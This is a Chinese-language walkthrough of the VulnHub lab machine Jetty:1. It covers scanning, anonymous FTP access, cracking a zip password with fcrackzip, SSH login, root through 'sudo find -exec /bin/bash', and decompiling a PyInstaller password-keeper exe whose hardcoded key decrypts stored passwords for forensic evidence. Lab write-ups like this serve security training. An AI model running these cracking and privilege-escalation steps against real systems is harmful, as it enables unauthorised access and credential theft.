JETTY:1 靶机渗透
2021-02-20 15:30:23 Author: www.freebuf.com(查看原文) 阅读量:132 收藏

基础信息

靶机链接:https://www.vulnhub.com/entry/jetty-1,621/
难度:简单/中等
发布日期:2020/2/9
目标:获得root特权,而且还获得所有证据来证明用户正在欺诈
描述:
Aquarium Life SL公司已与您联系,对他们的其中一台机器进行笔测试。他们怀疑他们的一名雇员一直在欺诈售卖假票。他们希望您闯入他的计算机,提升特权并搜索任何证明这种行为的证据。
解压密码: EsSabad0!
额外的信息:
    可疑用户名是Squiddie。
    他负责水族馆的门票销售。
    启用DHCP时,以太网设置设置为NAT。
    您应该在VLAN中找到IP。
    机器的想法不仅是获得root特权,而且还获得所有证据来证明用户正在欺诈。
困难:我想说这台机器在获得root特权方面是中等的。如果我们考虑所有步骤来获取证据,很难。

本次靶机使用的VMware Workstation Pro进行搭建运行,将kali与靶机一样使用桥接模式。本次演练使用kali系统按照渗透测试的过程进行操作,从信息收集到提权只需要按部就班就可以了,难点在于取证,因为是第一次接触需要取证的靶机没有思路,看了大佬的操作之后,自己进行复现也有所收获。

1. 靶机ip
nmap 192.168.1.0/24

使用nmap进行扫描,得到ip地址:192.168.1.106
图片.png

2.靶机端口与服务
nmap -sV -p- -O -A  192.168.1.106

图片.png

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
65507/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3.网站信息收集

访问192.168.1.106
使用dirb爬取网站链接
没有发现可利用的信息
图片.png

1.ftp匿名访问

查看之前扫描端口的详细信息
得知可以直接匿名登录ftp
用户:ftp 密码:无(直接回车)
图片.png
发现存在两个文件使用wget命令将文件下载到kali中

wget -r ftp://192.168.1.106

图片.png
进入目录查看下载文件,通过README.txt提示知道这个压缩包中保存的是密码文件
图片.png
通过fcrackzip进行爆破

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip

成功爆破
密码:seahorse!
图片.png

2.ssh远程登录

解压之后获得密码,尝试ssh远程登录,用户名Henry、Michael都不对,查看靶机描述,发现可疑用户名squiddie
进行尝试,登录成功
图片.png
用户:squiddie
密码:Squ1d4r3Th3B3$t0fTh3W0rLd
图片.png

1.升级成交互式shell

但是对squiddie的权限限制较大不能直接使用该命令升级,只能一步一步进行操作

python -c "import pty;pty.spawn('/bin/bash')"

图片.png

2.find提权

使用sudo -l 查看该用户可使用的命令
图片.png

直接使用find命令进行提权

sudo find /home -exec /bin/bash \;

图片.png

1、user.txt

在路径、home/squiddie/Desktop下发现use.txt
查看文件是一串md5密文

dd69f649f3e5159ddd10b83b56b2dda2

解密:2004737969
图片.png

2、root.txt

在/home/microsystems/Desktop目录下发现root.txt
图片.png

3、proof.txt

在/root/Desktop中发现note.txt和proof.txt
图片.png
解密得到:836934778

4、系统定时任务
crontab -l

图片.png

*/2 * * * * /etc/cron.daily/backup

每隔两分钟执行一次/etc/cron.daily/backup文件脚本。参考
查看文件脚本,仅root权限可以执行
文件从/root/Documents/.docs向/var/backups/.docs备份
图片.png
查看/var/backups/.docs目录,存在很多表格
图片.png
将文件拷贝到ftp的目录下下载到kali中
图片.png
在Password_keeper文件夹下发现用来查看密码的小程序,发现查看密码也需要输入密码
图片.png
表格密码 密文
图片.png
usage.txt使用说明
图片.png
要想破解表格密码,需要得到小程序的输入密码,需要将程序反编译,并分析代码
这个程序是用pyinstaller编译的,可以使用pyinstall进行反编译

5、反编译Pyinstall打包的exe

(1)反编译工具:https://github.com/extremecoders-re/pyinstxtractor

python2 ./pyinstxtractor.py ../password_keeper.exe

执行过命令之后会在pyinstxtractor.py同目录下生成一个文件夹
图片.png
现在的pyc文件还不是源代码,需要继续反编译
(2)反编译pyc文件
链接:https://tool.lu/pyc/
图片.png
分析源代码

#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from Cryptodome.Cipher import AES
import base64
BS = 16

pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

unpad = lambda s: s[0:-ord(s[-1])]

def cipher_message(key, message, iv):
    message = pad(message)
    key = base64.b64decode(key)
    obj = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = obj.encrypt(message)
    ciphertext = base64.b64encode(ciphertext)
    return ciphertext


def decipher_message(key, ciphertext, iv):
    ciphertext = base64.b64decode(ciphertext)
    key = base64.b64decode(key)
    obj2 = AES.new(key, AES.MODE_CBC, iv)
    decipher_text = obj2.decrypt(ciphertext)
    decipher_text = unpad(decipher_text)
    return decipher_text


def generate_key(ciphertext, tag, key, iv):
    ciphertext = cipher_message(key, ciphertext, iv)
    print ''
    print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)"
    print ''
    print 'Tag Password'
    print tag + ' ' + ciphertext


def show_keys(database, key, iv):
    check_permissions = raw_input('Insert password: ')
    if base64.b64encode(check_permissions) == key:
        for i in range(len(database[0])):
            ciphertext = database[1][i]
            decipher = decipher_message(key, ciphertext, iv)
            print ' '
            print 'Tag: ' + database[0][i] + ' Password: ' + decipher
            print ' '
        
    else:
        print ''
        print 'Tag: Instagram Password: WRONG '
        print 'Tag: Facebook  Password: PASSWORD '
        print 'Tag: SSH       Password: TRY '
        print 'Tag: root      Password: HARDER! '
        print ''


def read_database():
    database = [
        [],
        []]
    f = open('database.txt', 'r')
    for line in f.readlines():
        line = line.strip().split()
        database[0].append(line[0])
        database[1].append(line[1])
    
    f.close()
    return database


def main():
    print 'Welcome to the best password keeper ever!'
    print '__        __         _                _  __                         '
    print '\\ \\      / /__  __ _| | ___   _      | |/ /___  ___ _ __   ___ _ __ '
    print " \\ \\ /\\ / / _ \\/ _` | |/ / | | |_____| ' // _ \\/ _ \\ '_ \\ / _ \\ '__|"
    print '  \\ V  V /  __/ (_| |   <| |_| |_____| . \\  __/  __/ |_) |  __/ |   '
    print '   \\_/\\_/ \\___|\\__,_|_|\\_\\__,  |     |_|\\_\\___|\\___| .__/ \\___|_|   '
    print '                          |___/                    |_|   '
    iv = '166fe2294df5d0f3'
    key = 'N2FlMjE4ZmYyOTI4ZjZiMg=='
    database = read_database()
    loop = True
    while loop:
        print ''
        print 'Choose what you want to do: '
        print '1) See your passwords!'
        print '2) Generate a cipher-password'
        print '3) Close'
        option = raw_input('Insert your selection here --> ')
        if option == '1':
            print ''
            print 'Showing content of your secret passwords...'
            print ''
            show_keys(database, key, iv)
            print ''
            returned = raw_input('Press any button to return to the menu...')
            continue
        if option == '2':
            print ''
            print ''
            title = raw_input('Type the name of the application: ')
            password = raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ')
            generate_key(password, title, key, iv)
            print ''
            print ''
            returned = raw_input('Press any button to return to the menu...')
            continue
        if option == '3':
            loop = False
            print ''
            return 'Bye Byeeeeeeeeeeeee'
        print 
        print 
        print ''
        print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...'
        print ''
        print ''
        returned = raw_input('Press any button to return to the menu...')

if __name__ == '__main__':
    print main()

(6)分析代码,得到密码
在运行exe文件时,输入1是查询密码,输入1后会调用show_keys()函数
图片.png
当输入的密码值正确时if条件成立,显示表格密码
输入的密码是base64(key)
图片.png

N2FlMjE4ZmYyOTI4ZjZiMg==
解密:7ae218ff2928f6b2

运行.exe查看密码
图片.png

Tag: instagram Password: S3x1B0y
Tag: facebook Password: M4rK1sS0s3X1
Tag: Accountabilty_not_cooked Password: co8oiads13kt
Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD
Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc

(7)取证
Accountabilty_not_cooked
图片.png
AccountabiltyReportMorning-1112018
图片.png
MoneyBalance
图片.png
Pending_to_erase
图片.png

一开始的渗透到提权都是思路清晰,因为之前没有接触过取证在取证的时候不懂,参考了大佬的做法自己复现一遍,加深了印象

https://www.freebuf.com/articles/web/261787.html


文章来源: https://www.freebuf.com/articles/web/263860.html
如有侵权请联系:admin#unsafe.sh